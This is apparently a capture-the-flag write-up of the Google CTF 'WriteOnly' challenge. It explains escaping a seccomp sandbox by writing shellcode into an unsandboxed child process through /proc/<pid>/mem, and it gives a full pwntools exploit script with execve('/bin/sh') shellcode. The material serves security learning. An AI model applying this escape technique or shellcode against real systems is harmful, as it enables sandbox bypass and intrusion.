Posted on

We had a really great time this weekend playing this year's edition of Google CTF. Although we were able to solve only 2 of the pwn challenges , here's the intended writeup for the challenge WriteOnly.

tl;dr

To begin with , we're just given a binary and it's source code. Skimming through the source code , we find the binary being hardened with seccomp bpf filter.

Here's the list of all the allowed syscalls.

void setup_seccomp() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_KILL);
  int ret = 0;
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lstat), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(writev), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sched_yield), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fork), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(vfork), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(kill), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchdir), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(gettimeofday), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getuid), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getgid), 0);
  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
  ret |= seccomp_load(ctx);
  if (ret) {
    exit(1);
  }
}

A surprise that the challenge has for us is that Read syscall is not allowed.

Idea of exploit

Again, going through source code , we see a few things happening.

  • A child is created which opens and reads 4 bytes of flag constantly.
  • The parent sets up seccomp, asks for a length and takes our shellcode as input and gives us code execution right away.
int main(int argc, char *argv[]) {
  pid_t pid = check(fork(), "fork");
  if (!pid) {
    while (1) {
      check_flag();
    }
    return 0;
  }

  printf("[DEBUG] child pid: %d\n", pid);
  void_fn sc = read_shellcode();
  setup_seccomp();
  sc();

  return 0;
}

An important thing to notice here is , seccomp is enabled in the parent after the child has been created. Hence , the child does not inherit seccomp, so how cool is that?

The only thing that we could think of was to somehow write to the child's memory and get code execution in child too. But the question was , what do we write to child and how do we do it?

Delving into the exploit

As suggested by Sherl0ck, we could open a pseudo file called /proc/<pid of child>/mem and write to any segment of memory of the child , just like editing a binary in plain ghex :P. And what more , the program already prints the PID of child coupled with PIE being disabled , hence confirming our approach to exploitation. So now , another question that should pop in our minds now is , where do we write in the memory of child to get code execution? We can blithely overwrite the return address of child with our shellcode. There's another problem , remember that child will die if parent dies , so we have to make sure that the parent is alive throughout our journey of popping shell through child.

Overwriting return address of child

tl;dr of the plan is :

  • Open /proc/<pid of child>/mem with read-write permissions.
  • using lseek syscall to seek to the return address of child.
  • Write shellcode to return address and finally loop parent so that it doesn't die out.
from pwn import *
import sys

HOST = 'writeonly.2020.ctfcompetition.com'
PORT = 1337
context.arch = 'amd64'
if(len(sys.argv)>1):
    io=remote(HOST,PORT)
    context.noptrace=True
else:
    io=process('./chal')

reu = lambda a : io.recvuntil(a)
sla = lambda a,b : io.sendlineafter(a,b)
sl = lambda a : io.sendline(a)
rel = lambda : io.recvline()
sa = lambda a,b : io.sendafter(a,b)
re = lambda a : io.recv(a)
s = lambda a : io.send(a)

if __name__=="__main__":
    #shellcode for execve /bin/sh

    shell = asm("""
                mov r9,0x0068732f6e69622f
                push r9
                push rsp
                pop rdi
                xor rsi,rsi
                xor rdx,rdx
                mov rax,0x3b
                syscall
                """)
    reu('child pid: ')
    pid = int(rel().strip(),10)
    log.info('pid -> ' + str(pid))

    #Adjusting /proc/pid/mem to 8 bytes and storing on stack
    sc = asm('''
    mov r9, 0x006d656d2f2f322f
    push r9
    mov r9, 0x2f2f636f72702f2f
    push r9
    push rsp
    pop rdi
    push rax
    mov r10,rax
    mov rsi,2
    mov rdx,0
    mov rax,2
    syscall                       #Open file with read-write permissions
    mov rdi,rax
    mov r8,rdi
    mov rax, 8
    mov rsi,0x00000000004022e3    #lseek requires the address we want to seek to as offset
    mov rdx,1
    syscall
    mov rax,1
    mov rdi,r8
    mov rsi,r10
    add rsi,0x100                 #Fetching shellcode's address into rsi and writing to file
    mov rdx,0x30
    syscall
    loop: jmp loop                #Make sure parent does not die
            '''.format("0x" + (str(pid) + '//')[::-1].encode('hex')))
    sc = sc.ljust(0x100,'\x00')
    sc += shell  
    log.info('sc len : ' + str(len(sc)))
    sla('length? ',str(len(sc) + 1))
    gdb.attach(io)
    sla('shellcode. ',sc)
    io.interactive()

Conclusion

The challenge taught me yet another way of escaping seccomp sandbox through writing to child's memory. kudos to Google CTF for such a good challenge.